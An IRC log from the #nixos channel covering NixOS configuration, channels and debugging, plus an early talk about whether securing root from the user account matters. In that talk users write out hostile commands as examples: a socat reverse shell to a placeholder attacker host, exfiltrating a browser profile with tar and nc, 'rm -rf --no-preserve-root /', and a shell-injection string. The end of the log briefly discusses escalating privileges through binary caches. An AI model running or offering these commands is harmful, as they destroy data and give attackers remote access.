<jD91mZM2> nixos-rebuild could be used maliciously then
<tilpner> jD91mZM2 - build, dry-build, dry-activate, build-vm, build-vm-with-bootloader
<MichaelRaskin> jD91mZM2: I request a just-Enter confirmation in a separate VT for some commands
<MichaelRaskin> But, that is not strictly NixOS and not sudo
<jD91mZM2> Just change the config to run some spooky root commands, rebuild, bam! system corrupted
<sphalerite> jD91mZM2: sure it could, but again, if someone's running code as your user you probably have bigger concerns.
<jD91mZM2> yeah but it could brick my systemmmmmmm
<tilpner> It's a tradeoff. You're giving security away for some convenience
<tilpner> If an attacker can alter your dotfiles, they already won. They don't need nixos-rebuild for that
<tilpner> Though I suppose you'd be giving them an extra option
<sphalerite> Yeah. And they can copy out your browser profile, which has cookies for all your logins on the web.
<jD91mZM2> Wait, what is nixos-container? o_o
<sphalerite> And your mail client config, with login credentials for your email.
jedai has joined #nixos
<sphalerite> That's a much more attractive option than bricking your system if you ask me :p
<MichaelRaskin> If you run all your borwser instances under the same user, the attackers have already won. In advance, before doing anything
<tilpner> Oh hi MichaelRaskin, I was looking at your firefox config
jedai42 has joined #nixos
<tilpner> Does it really need all the marionette stuff?
<MichaelRaskin> Marionette stuff is actually for the things I consider usability.
<jD91mZM2> Yeah but it depends on who's doing it. It's much easier for some evil person to plug `sudo rm -rf --no-preserve-root /` in my dotfiles than it is to steal all my cookies
phdoerfler has joined #nixos
<MichaelRaskin> Like, if I launch no-JS instance then decide to allow JS
phdoerfler has quit [Client Quit]
<tilpner> jD91mZM2 - Not really. They have remote access, so they can scp your ~/.mozilla out
jedai|3 has quit [Ping timeout: 260 seconds]
<tilpner> (Or just tar | nc)
<jD91mZM2> You assume they have remote access
<MichaelRaskin> Also Marionette stuff helps me _easily_ save web page HTML after the scripts have been executed
<sphalerite> They're running code on your machine, they have remote access.
<MichaelRaskin> For mere isolation, Marionette is obviously superfluous
<jD91mZM2> Imagine I am a stupid person and somehow create a program with an obvious shell injection flaw
<sphalerite> socat exec:bash tcp-client:their-malicious-server.example.com
<tilpner> MichaelRaskin - Hmm, I was just looking for immutable declarative profiles for now
<jD91mZM2> Then it's super easy for them to run something like "; rm -rf ~
<jD91mZM2> In fact this happened to a friend of mine lol. He didn't really understand injection attacks.
xy2_ has joined #nixos
<tilpner> jD91mZM2 - If they can run rm, they can get a shell
jedai has quit [Ping timeout: 260 seconds]
<sphalerite> jD91mZM2: stupid person and creating programs with security vulnerabilities are not necessarily related.
<tilpner> (Generally, unless sandboxing)
<MichaelRaskin> tilpner: in my case profiles are not even immutable, just preseeded with something from store
<jD91mZM2> But like I said, it's much easier to run rm than it is to get a shell and do malicious stuff
<sphalerite> socat exec:bash tcp-client:their-malicious-server.example.com
<sphalerite> ^ remote shell.
<jD91mZM2> And if they get a shell you might have time to stop it before they use it for anything
rosa has quit [Quit: rosa]
ixxie has quit [Ping timeout: 260 seconds]
<tilpner> You're a stupid person, remember?
<jD91mZM2> Good point
<sphalerite> "might have time to stop it" How do you know there isn't anybody with a remote shell on your system right now?
<tilpner> How would you even notice their access in time
<jD91mZM2> Well I'd notice if they run an injection attack to get a shell
<sphalerite> how?
<jD91mZM2> Say I created an IRC bot which allows me to run `whois "$domain"`
<jD91mZM2> domain="; sudo rm -rf --no-preserve-root /
<jD91mZM2> If they create a shell I could see it in the IRC logs
<tilpner> Which you check in realtime 24/7?
<sphalerite> ^
<jD91mZM2> No but there's a higher chance I'd see it than it is with getting a shell
<tilpner> But obviously... don't run the bot as your user
<jD91mZM2> Either way - you imagine everybody are out to get you. Some people just do malicious stuff for shits and giggles
Arcaelyx has quit [Quit: Textual IRC Client: www.textualapp.com]
<jD91mZM2> I'm a stupid person, remember?
tusj has joined #nixos
tusj has quit [Max SendQ exceeded]
tusj has joined #nixos
<sphalerite> Ok. How much less worse is rm -rf ~ going to be than sudo rm -rf --no-preserve-root / ?
rosa has joined #nixos
Izorkin has joined #nixos
<jD91mZM2> Well sudo rm -rf can brick some systemd systems completely
<MichaelRaskin> We need a mount option that creates .aaaaa/ in every directory
<MichaelRaskin> (that we care about)
<MichaelRaskin> including .aaaa/ fake dirs
<MichaelRaskin> Then rm -rf would work only where allowed…
<tilpner> What if you actually want to rm -rf ~?
<tilpner> Remount without that option?
<sphalerite> tilpner: do you?
<sphalerite> :p
<tilpner> Yes
<MichaelRaskin> Remount
<MichaelRaskin> There should be some hurdle for such a case
<jD91mZM2> rm is actually really scary. Running `rm -rf /` is prevented, but `rm -rf /*` isn't lol
<jD91mZM2> And then since bash handles missing variables as empty... `sudo rm -rf $nonexistent/*`
<tilpner> That assumes rm -rf goes depth-first (which would be a good idea) and in lexicographic order, but is easily circumvented
<MichaelRaskin> Put what you realy care about in dot-dirs and make visible names just symlinks!
<sphalerite> hahaha
winem_ has joined #nixos
<sphalerite> anyway, I think we still haven't convinced jD91mZM2 that securing your root account from your user account isn't that important :p
<sphalerite> MichaelRaskin: chmod go-r /
<tilpner> Backup everything, and rm isn't so scary anymore
rosa has quit [Quit: rosa]
<MichaelRaskin> Well, you lose last ten hours of typing or something!
<jD91mZM2> Oh I'm convinced - just tell me how to make `rm -rf /` work without sudo and I'll get to work!
<sphalerite> Not if you have periodic zfs snapshots :p
<sphalerite> jD91mZM2: sudo chmod -R a+rwx / (really don't please)
<sphalerite> (nobody do this, it's a terrible idea)
<MichaelRaskin> Not _as_ terrible as it seems
<MichaelRaskin> Although
<sphalerite> MichaelRaskin: why not?
<MichaelRaskin> I don't know how chmod handles failurs
<{^_^}> [nixpkgs] @xeji merged pull request #39987 → yubikey-personalization-gui: port to qt5 → https://git.io/vpwqz
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwoZ
<{^_^}> → a0502800 by @Ma27: yubikey-personalization-gui: port to qt5
<{^_^}> → c94a1e61 by @xeji: Merge pull request #39987 from Ma27/yubikey-personalization-gui/qt5-port
<MichaelRaskin> If it just continues, then yes, bad
humanoyd has quit [Ping timeout: 260 seconds]
<jD91mZM2> On a more serious note, is every output from `readelf -d` a runtime dependency?
<jD91mZM2> Because I have a few dependencies which I don't know if they're compile time or runtime, and I'd love some easy way to check
<MichaelRaskin> Yes
<sphalerite> MichaelRaskin: it does continue
<MichaelRaskin> Ouch then
<jD91mZM2> There is no RPATH though... and it seems to work without them
<jD91mZM2> without it*
<jD91mZM2> the RPATH
<MichaelRaskin> jD91mZM2: I think nix-store is a better way to check
<jD91mZM2> oh was dis
<MichaelRaskin> And if a full path is written inside the package, this full path is a runtime dependency
<sphalerite> nix-store -q --references /nix/store/foo shows you all the paths that foo references
<MichaelRaskin> (oh well… I can create an exception, of course, but that's silly)
<sphalerite> well it's not necessarily *actually* a runtime dependency.
rosa has joined #nixos
<jD91mZM2> No I mean I want to check what a normal binary requires
<MichaelRaskin> Ah
<sphalerite> you can't really do that in a way that captures all cases
<sphalerite> but yeah readelf -d is a good start
<sphalerite> ldd can also tell you how they're resolved
<jD91mZM2> Seems like it has NEEDED entries for a bunch of 'em, but a RUNPATH for only two, and yet it works without patching
ambro718 has quit [Remote host closed the connection]
<jD91mZM2> Ah, ldd tells me that they're found anyway. Okay.
<jD91mZM2> Ok so apparently libssh2 is a runtime dependency. Oh noes
<jD91mZM2> Seems accurate though. Okay, it works. Yay!
<{^_^}> [nixpkgs] @jD91mZM2 opened pull request #40002 → powerline-rs: init at 0.1.6 → https://git.io/vpwoB
<sphalerite> jD91mZM2: you can try running it with LD_DEBUG=libs and it'll give you detailed info on how it searches for each one
<sphalerite> oooooh, I like. I might start using that.
<jD91mZM2> I've been told it's one of my more useful programs. Which is hilarious since it's one of the simpiler.
<sphalerite> you have a lot of programs :P
<sphalerite> I'm surprised they didn't say that about rot26
<sphalerite> also, did your username come out of a password generator?
rosa has quit [Quit: rosa]
rosa has joined #nixos
<jD91mZM2> Sorry for the delay, I was brushing my teeth
<jD91mZM2> My username is actually not entirely random. I made some stupid encoding that only I know of though, to ensure that nobody knows the truth!1111
<jD91mZM2> I learned the hard way that usernames aren't easily changeable if you keep using the same one everywhere. So I made a username that is about as disconnected to anything specific as it can get
humanoyd has joined #nixos
<jD91mZM2> But, since my username is so complicated, my password is really easy for a change /s
<sphalerite> haha
rosa has quit [Client Quit]
rosa has joined #nixos
<swaaws> tilpner: i added to the tuxedo-wmi.nix at buildPhase „export hardendingDisable='pic format' the PIC error are gone but new warnings are shown (no working .ko )
shabius has quit [Quit: Leaving]
rosa has quit [Quit: rosa]
rosa has joined #nixos
rosa has quit [Client Quit]
jD91mZM2 has quit [Quit: WeeChat 2.0]
<jluttine> could this be merged (or given feedback if somethings needs to be fixed): https://github.com/NixOS/nixpkgs/pull/39295
<jluttine> or how to bump pull requests? :)
<srhb> /urlselect
<srhb> Woops
jD91mZM2 has joined #nixos
<jD91mZM2> Does NixOS give any advantages on a server? I'm not sure if it works on Raspberry PI 3 yet, but maybe I could replace Arch Linux ARM with it?
<jD91mZM2> "Using the 64-bit AArch64 image is highly recommended", wait, one single RPI supports both?
spear2 has joined #nixos
<tilpner> swaaws - I don't know how to tell if the .ko is working or not
<tilpner> (But it does build)
<srhb> jluttine: Which branch did you build this on?
rosa has joined #nixos
coot has joined #nixos
<srhb> jD91mZM2: (maintainerS, platformS)
<crystalgamma[m]> how would one go best about installing NixOS on a "new" architecture (ppc64(le) in my case)? crossbuilding an install image (and if so, how?) or getting nix to run on fedora or debian on the target machine, then building nixos-install?
<jD91mZM2> srhb: No, I keep forgetting to check build status. Thanks!
<srhb> jD91mZM2: I also think we're essentially enforcing real names nowadays in maintainer-list.nix :)
<srhb> (Or maybe that's just for people with push access? vcunat do you remember?)
<ajmccluskey> In case you were interested srhb, moving my LUKS encrypted LVM install to a bigger hard drive went fine. `dd`ed the whole drive over, then resized everything by mostly following this: https://ubuntuforums.org/showthread.php?t=726724.
<srhb> ajmccluskey: Awesome, thanks for the update. :)
<jD91mZM2> I sure hope it's only for people with push access, as I am pretty darn strict about not giving out my name for any reason
<srhb> jD91mZM2: Sure, lots of people feel that way. I'll find out. :)
silver has joined #nixos
<jD91mZM2> How would I check metadata locally btw?
<jD91mZM2> I mess that part up almost every time
<srhb> jD91mZM2: I believe it's described in the ofborg readme, let me check...
<srhb> Could be a bit nicer. :)
<jD91mZM2> ouch, that looks complicated
<jD91mZM2> Thanks!
<swaaws> tilpner: insmod [path_to_].ko
<tilpner> swaaws - I will not do that
<swaaws> Oh ok can you upload the .ko
<tilpner> You should not insmod my .ko either
<tilpner> Did it not build for you?
<swaaws> Same kernel i think
<tilpner> ... Did it not build for you?
<tilpner> (If that was an answer, I didn't understand it)
<swaaws> Afk
coot has quit [Quit: coot]
coot has joined #nixos
<sphalerite> crystalgamma[m]: roughly, you first get nix for that arch (either by building it from source natively there, or using nixpkgs cross-compilation), then you can get nixos-install using nix-env -f '<nixpkgs/nixos>' --arg configuration {} -iA config.system.build.nixos-install
<sphalerite> crystalgamma[m]: easier said than done of course, you may well need to make a variety of changes to nixpkgs to make it actually build
<jD91mZM2> srhb: It builds now. Yay!
<sphalerite> crystalgamma[m]: cross-building a bootable image is probably more fuss than it's worth if you've already got a linux running on it
<vcunat> srhb: meta.maintainers commonly contains people without push access
<vcunat> (if that's what you meant)
ambro718 has joined #nixos
rosa has quit [Quit: rosa]
<crystalgamma[m]> yeah I am totally expecting to do some work to get it running. but if native building nixos-install is the best way, that's what I'm going to try when I get the computer next week
<srhb> vcunat: It's not. The question I'm asking is whether we're requiring real names from contributors/maintainers that don't have push access.
<srhb> vcunat: In maintainers-list.nix, that is.
<vcunat> right, I think so
<srhb> We probably need a policy document of some kind. :-)
<vcunat> though personally I don't consider real names too significant
<srhb> Ditto, it's sad to lose a maintainer over this, but I don't want to merge something I shouldn't because of this. :-)
shabius has joined #nixos
<tilpner> :/
<vcunat> well, the meta.maintainers field doesn't really mean much by itself
<sphalerite> srhb: FWIW we don't have a real name for aszlig
<vcunat> doing the maintenance is the thing
<srhb> Agreed. It's nice to feel free to poke the person listed there when things break though :D
<srhb> It's like consent to be bothered. I like that.
<tilpner> vcunat - MichaelRaskin said in #nixos-dev that the realname policy might be for legal reasons (copyright things)
<vcunat> aszlig may not have a real name, but he does have a real photo :-D https://github.com/aszlig
<srhb> That is _very_ real.
<vcunat> and I've met him in person, at least on two NixCons
<sphalerite> his eyes weren't quite as glowing and red at nixcon, but that is him, lol
<jD91mZM2> sphalerite: tilpner: Setting nix.nixPath seems to override the $NIX_PATH completely?
andreabe_ has quit [Ping timeout: 240 seconds]
<tilpner> jD91mZM2 - Yes, that's working-as-intended
<jD91mZM2> Suddenly it contains nothing but nixos-config=<whatever>... How do I preserve nixpkgs and things?
<tilpner> You copy the old values in there
<TimePath> any advice for getting the result of `git describe` on a local git checkout with nix?
<vcunat> I'm no lawyer, but I don't think legal reasons are significant here.
<vcunat> The copyright is jointly held by hundreds of people, meaning there's basically no possibility to act on it anyway, as you'll always be missing someone.
<swaaws> tilpner: oh i understand, which Full Name are the .ko
<jD91mZM2> I can't use nix.nixPath = nix.nixPath // [ "whatever=what" ] possibly?
<vcunat> (not that the copyright matters really, with such a simple weak license)
<MichaelRaskin> vcunat: we need to pretend that we have a license to distribute the whole
<tilpner> swaaws - /nix/store/y0lj7c1ndxws953p7jzfx27v9196gmp6-tuxedo-wmi-4.16.7-1.5.1/lib/modules/4.16.7/tuxedo-wmi.ko
<sphalerite> jD91mZM2: either put all the items you want in yourself, or set it as lib.mkDefault ["your stuff"];, which will make it have the same priority level as the default and get merged with it rather than overriding it, *I think*
<vcunat> MichaelRaskin: I'm not aware that needs knowing real names of all the contributors
<tilpner> Oh, good idea, sphalerite
<jD91mZM2> Aha. Thanks
<MichaelRaskin> I think the real problem is that nobody knows what it does require
<vcunat> yes :-)
<vcunat> uncertainty can be a problem by itself
<vcunat> we could ask, maybe silver_hook ?
<tilpner> Is there no legal-stuff-person one could ask?
knupfer has joined #nixos
<tilpner> (There must have been similar questions in the past, right?)
<srhb> Maybe people were more clever than me and just clicked the button instead of asking.
<srhb> This was a huge mistake. :-)
<MichaelRaskin> vcunat: that's what putting «knowingly» into laws does to you
<MichaelRaskin> Nobody wants to know for sure we are doing something wrong.
<jD91mZM2> sphalerite: mkDefault didn't actually seem to work. I'm guessing it's because the default value is already set.
<sphalerite> jD91mZM2: no, in that case it'll be because the default value comes directly from the option declaration and not a separate definition :/
<srhb> jD91mZM2: No, mkDefault would make the values have the same priority and thus make the lists _merge_. I think there isn't a default value for it though.
thc202 has quit [Ping timeout: 264 seconds]
<srhb> I'm wrong, what sphalerite said. :)
jrolfs_ has quit [Ping timeout: 260 seconds]
<srhb> (It does have a default value)
<sphalerite> jD91mZM2: what *might* also work is options.nix.nixPath.default ++ ["your stuff"];, not sure about this one either though
<sphalerite> (you'll need to add options to the arguments at the top of your module for this to work, if it works at all)
<tilpner> sphalerite - The default cntains nixos-config
<tilpner> So you would have to filter, I think
<sphalerite> oh yeah in that case ["your stuff"] ++ options.nix.nixPath.default
<tilpner> Wouldn't that make it appear twice in NIX_PATH?
<srhb> Why isn't it an attrSet anyway...
<sphalerite> tilpner: yes, it would
<tilpner> srhb - Because not all entries have keys
<sphalerite> ^
<tilpner> sphalerite - That's terrible :/
<tilpner> Just copy it, much simpler
sydney has joined #nixos
<sphalerite> tilpner: it would work though!
<tilpner> :c
<sphalerite> if it works
<sphalerite> ... yay tautologies
<srhb> Okay, why isn't it a uniqList -- oh.. :P
<jD91mZM2> The options.nix.default thing builds
<sphalerite> holy crap x)
<tilpner> Now look at your duplicate entries in NIX_PATH and tell me you want to live with that c.c
<jD91mZM2> ... but compiling makes it go "warning: Nix search path entry '/etc/nixos/configuration.nix' does not exist, ignoring"
<jD91mZM2> compiling again*
rosa has joined #nixos
<sphalerite> oh yeah because it still has the standard nixos-config entry
<jD91mZM2> tilpner: Would you rather want to live with a hardcoded nixpkgs location?
<swaaws> tilpner: you on unstable-channel?
<sphalerite> yeah probably easiest to just copy the original definition as tilpner suggests.
<sphalerite> That, or just have /etc/nixos/configuration.nix be a symlink to your dotfiles repo
<jD91mZM2> I might just keep symlinking to /etc/nixos though, yeah
<tilpner> jD91mZM2 - Yes. I have NIX_PATH=nixpkgs=/cfg/nixpkgs
<tilpner> swaaws - That was actually master
<jD91mZM2> Wait, what's /cfg?
jrolfs_ has joined #nixos
<tilpner> A directory I created
* sphalerite just had a horrible nasty idea. nix.nixPath = ["nixos-config=${builtins.fetchTarball https://github.com/lheckemann/nixos-config/archive/master.tar.gz}/configuration.nix"]; (roughly. I don't actually have my nixos configs on github)
<tilpner> sphalerite - That won't work
<sphalerite> why not?
<tilpner> sphalerite - The problem is that nixPath is only applied for the next build, not the current one
<jD91mZM2> You modified root??!?!??! tilpner
<sydney> hey, do you guys know how to set a channel per package? I want the newest python packages, but my system should be stable. Is that possible?
<sphalerite> tilpner: yes, that's the idea. Otherwise it would recurse infinitely :)
<sphalerite> jD91mZM2: no big reason not to, on nixos!
<sphalerite> I have nixpkgs in /nixpkgs on various machines :p
<jD91mZM2> sydney: If you're using nix-env, instead of nix-env -iA nixos.thing you use -iA other-channel.thing
<tilpner> sphalerite - I would prefer imports = [ (builtins.fetchTarball ...) ];
<jD91mZM2> I thought the whole idea behind NixOS was that you should never ever touch root, but rather let nix expressions do it
coot has quit [Remote host closed the connection]
<sydney> jD91mZM2: I'd rather do it in my configuration.nix
<sphalerite> jD91mZM2: nix expressions only make paths in the nix store.
<jD91mZM2> sydney: That's the spirit! Although I have no idea how to do that. If you find out, please inform me as well :)
<sphalerite> jD91mZM2: there's /etc/ of course, but that's just a compatibility shim for applications that hardcode that path *really* :p
<jD91mZM2> sphalerite: Yeah... but...
<sphalerite> jD91mZM2: the idea is that you generate the actual working parts of the system with nixos, but you're free to put whatever you want in paths that nixos isn't using
<tilpner> jD91mZM2 - There's no problem with touching /
<jD91mZM2> oh okay
<jD91mZM2> If I have a bunch of openvpn configs, should they be in /root/openvpn or /openvpn or something else?
* sphalerite just had another nasty horrible idea — nixos and a classic linux distro, living on the same filesystem
<sphalerite> probably with a bind-mount for etc so they don't confuse each other
<jD91mZM2> Isn't that basically what installing the nix package manager does?
<tilpner> jD91mZM2 - Not in /openvpn, but /cfg/openvpn would be okay
uptime has quit [Ping timeout: 260 seconds]
<jD91mZM2> What's /cfg for?
<tilpner> :/
<tilpner> You can put them wherever you want
<sydney> tilpner: thank you very much, exactly what I was looking for!
<tilpner> :)
<sphalerite> jD91mZM2: not really, installing the nix package manager doesn't touch anything outside of /nix (mostly)
<jD91mZM2> oh
<sphalerite> the only exceptions are stuff like the shell init snippet that puts your nix profile on your PATH, and creating the nix profile symlink itself
<sphalerite> but it doesn't touch /etc or anything that belongs to the host OS
<jD91mZM2> A few days ago somebody mentioned they prefer the stable repos because they get security updates faster. Why is this? Shouldn't it be the opposite?
coot has joined #nixos
<sphalerite> because master gets big changes that can take a long time to build
<tilpner> And release channels have calmed down, so they'll pass tests quicker
<sphalerite> while 18.03 gets only the security updates (and bug fixes), so typically the time between fix committed and channel updating is shorter
<jD91mZM2> Aha
wchresta_ has joined #nixos
<jD91mZM2> That's a bummer, I kind of want to make my whole system rolling release
<tilpner> And you can your base system from stable, then pick your applications from unstable
Hdphn has joined #nixos
<tilpner> So there's not much reason to use unstable for your base system
<jD91mZM2> Yeah but then I need to pick out specific ones and things
<tilpner> *you can run your base system
<jD91mZM2> I kinda just want everything to be the latest version
<{^_^}> [nixpkgs] @timbertson opened pull request #40003 → nix-pin: 0.2.2 -> 0.3.0 → https://git.io/vpw6U
rosa has quit [Quit: rosa]
<jD91mZM2> apart from kernel
<tilpner> Sure, your choice. You'll have to live with slower security fixes then
<jD91mZM2> :(
<jD91mZM2> Is there no sort of priority queue?
<tilpner> You can always implement them yourself locally, if the channel is too slow
<tilpner> But that requires following all of them, which probably takes too much time
<jD91mZM2> mmm...
<jD91mZM2> The annoying thing with stable is that the bugs that do exist, exist for a longer time since you don't get the bugfixes immediately.
<jD91mZM2> I'm having a konsole bug I've never seen before suddenly, and I think that's due to my version being outdated. Which is kind of funny since it's exactly what stable is made to prevent
coot has quit [Remote host closed the connection]
<yorick> ij: it's called nixops scp
<tilpner> jD91mZM2 - stable here means "fewer changes", not "fewer crashes"
<jD91mZM2> good point
<ij> yorick, ah, I see it now, thanks
<tilpner> But it's easy to try out if unstable konsole fixes your problem
<tilpner> And once you've confirmed that... just overlay unstable konsole onto your stable system
<jD91mZM2> Yeah but I want *all the things*
<jD91mZM2> :^)
<tilpner> ...
sydney has quit [Quit: Leaving]
coot has joined #nixos
<jD91mZM2> Wait, you need to call nixos-rebuild --upgrade?
<jD91mZM2> It doesn't upgrade by default?
<tilpner> That would be horrible
coot has quit [Remote host closed the connection]
b has joined #nixos
<jD91mZM2> What happens with applications that live on channels that have been removed?
<tilpner> Nothing special
coot has joined #nixos
<tilpner> The GC will take care of them after you stop using them
<jD91mZM2> How do you list all applications that use one specific channel?
<tilpner> I don't know an easy way to do that
winem_ has quit [Ping timeout: 240 seconds]
<MichaelRaskin> jD91mZM2: if you have ebough local build capacity, you could just use a master checkout, build the tests you care about, and upgrade if everything is fine
wchresta_ has quit [Ping timeout: 268 seconds]
FireFly has joined #nixos
katyucha has joined #nixos
<jluttine> how has the usage of mesa changed in nixpkgs recently? i'm getting an error for a derivation that has had "mesa" as a build input: `called without required argument 'mesa'`
jD91mZM2 has quit [Ping timeout: 260 seconds]
coot has quit [Remote host closed the connection]
coot has joined #nixos
vcunat has quit [Ping timeout: 256 seconds]
vcunat has joined #nixos
<jluttine> srhb: it was built on nixos-unstable at that time
<jluttine> srhb: can you point me in the right direction what changes are needed for the recent mesa changes (i don't know what they are)?
orivej has quit [Ping timeout: 248 seconds]
<Dezgeg> maybe there is some preparation for transition to libglvnd
<jluttine> i'm just googling nixpkgs + mesa but not getting anything that i find useful to figure out what to do
<Dezgeg> I suppose the new names are libGLU and libGL
<Dezgeg> (for mesa_glu and mesa_noglu respectively)
<jluttine> ok. i have no idea whether to use _glu or _noglu.. i just had `mesa` previously
<Dezgeg> I think 'mesa' was just combination of both _glu and _noglu
andreabedini has joined #nixos
<jluttine> perhaps i'll just test if it builds with libGL, then i suppose that's the way to go
freeman42x]NixOS has joined #nixos
<Dezgeg> yes, try libGL, then if that doesn't work, both libGL and libGLU
<jluttine> ah, both!
<jluttine> so libGLU isn't a replacement but an addition
<Dezgeg> yes, it's the GL Utility Library
<{^_^}> [nixpkgs] @vcunat pushed 170 commits to staging-18.03: https://git.io/vpw6o
<{^_^}> → 4a73c1fa by @peti: Merge pull request #39062 from vaibhavsagar/bump-all-cabal-hashes
<{^_^}> → 2c9c8905 by @Mic92: peek: add ffmpeg to PATH
<{^_^}> → f0d44d8e by @bendlas: dwarf-fortress: 0.44.05 -> 0.44.09
jrolfs_ has quit [Ping timeout: 240 seconds]
alfie has joined #nixos
jD91mZM2 has joined #nixos
<jD91mZM2> Uhhh... I switched to unstable and when rebuilding it seemed like it killed lightdm?
<srk> hm, I have a nixops deployment that builds a netboot server which is nixos 17.09 with images of vpsadminos which uses pinned nixpkgs (18.09pre) and somehow it looks like namespaces are clashing The option `users.extraGroups' in `/nix/store/qgmkr6y9w6h21dz56q1i3h36nv2837ix-nixexprs.tar.xz/nixos/modules/config/users-groups.nix' is already declared in
<srk> `/nix/store/z7hljczf0v5dzkpb9k3jnrrqg2ycd7pw-vpsadminos-7017f8a/os/modules/rename.nix'
<jD91mZM2> So I restarted using a previous config and I think I'm back to stablebut I have no idea
<sphalerite> jD91mZM2: this is the sort of thing that can end up happening on unstable :p
<jD91mZM2> sphalerite: Okay. Why didn't I get these kinds of problems on Arch? Do they do more tests?
<srk> I found some info about nixops and different nixpkgs version using scopedImports but no idea how to use that
<srk> jD91mZM2: happened to me once and I'm running master for over a year now
<sphalerite> jD91mZM2: arch is a lot bigger and has a lot more people working on it. This bug popped up a couple of days, maybe even a week ago
<sphalerite> on arch that would be fixed by now
<jD91mZM2> How do I check which channel I'm using currently? I booted using a previous config and I'm not sure if it's all up correctly
<sphalerite> for some people this issue even reboots the machine :/
coot has quit [Remote host closed the connection]
<sphalerite> nixos-version
<sphalerite> that can show you the version of nixpkgs the system was built from
<jD91mZM2> Ah. Seems like I'm back to stable
<jD91mZM2> 18.03.132229.7cbf6ca1c84 (Impala)
katyucha has quit [Ping timeout: 260 seconds]
<jD91mZM2> I'll reboot once again to make sure everything loaded correctly, I'm paranoid. Mainly because xmonad failed (guessing the libraries were updated so the config binary couldn't find them or something)
<sphalerite> There's the issue for X stopping on configuration switch
<jD91mZM2> Good to know it's not just my computer fucking up
orivej has joined #nixos
<jD91mZM2> I'll go reboot and grab lunch. Thanks for all the help!
jD91mZM2 has quit [Quit: WeeChat 2.0]
thblt has joined #nixos
<thblt> Since I-don't-know-which NixOS upgrade (17.09->18.03 maybe?), I can't power off the machine from LightDM. I know that on regular distros I can solve this by adding the lightdm user to a group allowed to control system power state, but I have no idea how this is done in NixOS. Thanks for any ideas!
<thblt> Sorry for the complete absence of precision, i guess I don't power off my laptop often enough :-)
<jbetz> so, all of I sudden, I can't open pidgin, it just crashes immediately. and this was after it working fine for a week.
<sphalerite> something something polkit. (tbh I don't know)
<jbetz> where would I find logs for this sort of thing?
spear2 has quit [Quit: Leaving]
<sphalerite> jbetz: first step I'd take would be to try running it in a terminal
<jbetz> sphalerite: same problem
<tilpner> jbetz - Try strace-ing it
<sphalerite> no useful output?
<jbetz> `.pidgin-wrapped_: queries.c:1718: get_dialogs_on_answer: Assertion `P' failed. Aborted`
<tilpner> strace -fvo /tmp/log pidgin, then check /tmp/log
rosa has joined #nixos
<jbetz> tilpner: okay, now I have a crapload of logs
Hdphn has quit [Ping timeout: 255 seconds]
<tilpner> You can search for the error string to find a starting point, then check for suspicious failures in the vicinity
<tilpner> Or look at the pidgin code to for get_dialogs_on_answer, and see what P is
thblt has quit [Remote host closed the connection]
thblt has joined #nixos
xy2_ has quit [Quit: WeeChat 1.9.1]
wchresta_ has joined #nixos
xy2_ has joined #nixos
<tilpner> And in cases like this you should say that you're using plugins
<thblt> OK, I got it. It wasn't a permission issue, just a new UI setting in services.xserver.displayManager.lightdm.greeters.gtk.indicators with a strange default value.
<Myrl-saki> How do I escalate my permissions using trusted users?
<Myrl-saki> I need to hack into my own machine because I forgot to bring my root passwords..
<tilpner> Myrl-saki - Is your machine local? Do you have commandline editing enabled in systemd-boot/grub?
<Myrl-saki> tilpner: Nope.
<thblt> Myrl-saki: "trusted users"?
<Myrl-saki> tilpner: I could request a password resett.
<Myrl-saki> thblt: I honestly have no idea either.
<Myrl-saki> thblt: Basically, gives you more permissions to the nix store.
<tilpner> Do you have any login permissions at all?
<Myrl-saki> I don't know the technicals.
<Myrl-saki> tilpner: I have login permissions, I don't have root permissions.
<thblt> Myrl-saki: I don't understand what you mean by "trusted users".
<thblt> Myrl-saki: at the risk of stating the obvious, the common way to escalate privileges is sudo.
<jbetz> tilpner: I'm using telegram-purple, which ... yeah, is a likely culprit
<tilpner> jbetz - Yes, I found that. You should probably create an issue with them, it doesn't look like a Nix-specific problem
<Myrl-saki> thblt: C-f trusted-users.
<Myrl-saki> thblt: Oh right, I messed up my statement. I don't have the password for my user at all.
jD91mZM2 has joined #nixos
<Myrl-saki> We enforce SSH keys/
<Myrl-saki> So sudo won't work.
<jD91mZM2> Ever since the X stopping issue xmonad has been acting weird. I'm starting to think it was interrupted during rebuild and that something broke. Is this theory possible?
<{^_^}> [nixpkgs] @flokli opened pull request #40004 → modules/virtualisation/qemu-vm: always enable serial console → https://git.io/vpwi6
shabius_ has joined #nixos
<thblt> Myrl-saki: IIUC you can login as a trusted user, that is a user which can create new nix binary caches?
<Myrl-saki> jD91mZM2: `xmonad---recompile`?
bpa has joined #nixos
<Myrl-saki> thblt: Yes, seems like a fair statement.
<Myrl-saki> jD91mZM2: `xmonad --recompile`*
<jD91mZM2> Myrl-saki: I've rebuilt xmonad multiple times
<Myrl-saki> thblt: I think it's a read perms at most.
<jD91mZM2> It loads my config and everything, but my startup script isn't running for some reason
<jD91mZM2> (The script is started using startOnce)
<jD91mZM2> It's worked before but suddenly not now
<Myrl-saki> jD91mZM2: Startup script?
<jD91mZM2> spawnOnce*
<Myrl-saki> Oh.
<jD91mZM2> Where I start feh and stuff
iyzsong has joined #nixos
<Myrl-saki> jD91mZM2: Unstable?
<thblt> Myrl-saki: doesn't seem trivial. If you can control the caches, you could inject a custom binary for a root service that would change root's password. But you'd still need to trigger an OS rebuild.
<jD91mZM2> I was trying unstable but X crashed and now I'm back to stable
<Myrl-saki> thblt: Right.
<jD91mZM2> And ever since then starting into xmonad has given me nothing but a mouse cursor and my usual shortcuts
<Myrl-saki> thblt: That actually seems like a good idea.
<jD91mZM2> Starting programs works.. sort of. They end up in a really weird position
<thblt> Myrl-saki: yes, but if you can trigger an OS rebuild, you don't need that.
<thblt> Myrl-saki: you could just make your user a sudoer.
bpa has quit [Remote host closed the connection]
shabius has quit [Ping timeout: 240 seconds]
<{^_^}> [nixpkgs] @vcunat opened pull request #40005 → python: 2.7.14 -> 2.7.15 (bugfix + security) → https://git.io/vpwi1
<Myrl-saki> thblt: I'll keep that under "ways to hack into my machine."
<Myrl-saki> thblt: My user is a sudoer, but a password-required sudoer.
wchresta_ has quit [Ping timeout: 260 seconds]
<thblt> Myrl-saki: regardless, if you can rebuild the OS, you can disable password requirement on sudo.
Maxdamantus has quit [Ping timeout: 240 seconds]
<thblt> (If you can rebuild, you can do everything without hacking binary caches.)
<Myrl-saki> Let me check.
<thblt> Myrl-saki: but the easy way would be to wait until you get physicial access to the machine.
<jbetz> tilpner: :/ yeah, I'm switching to telegram desktop. the pidgin plugin had lots of issues already. goodbye unified logs <bitter>.
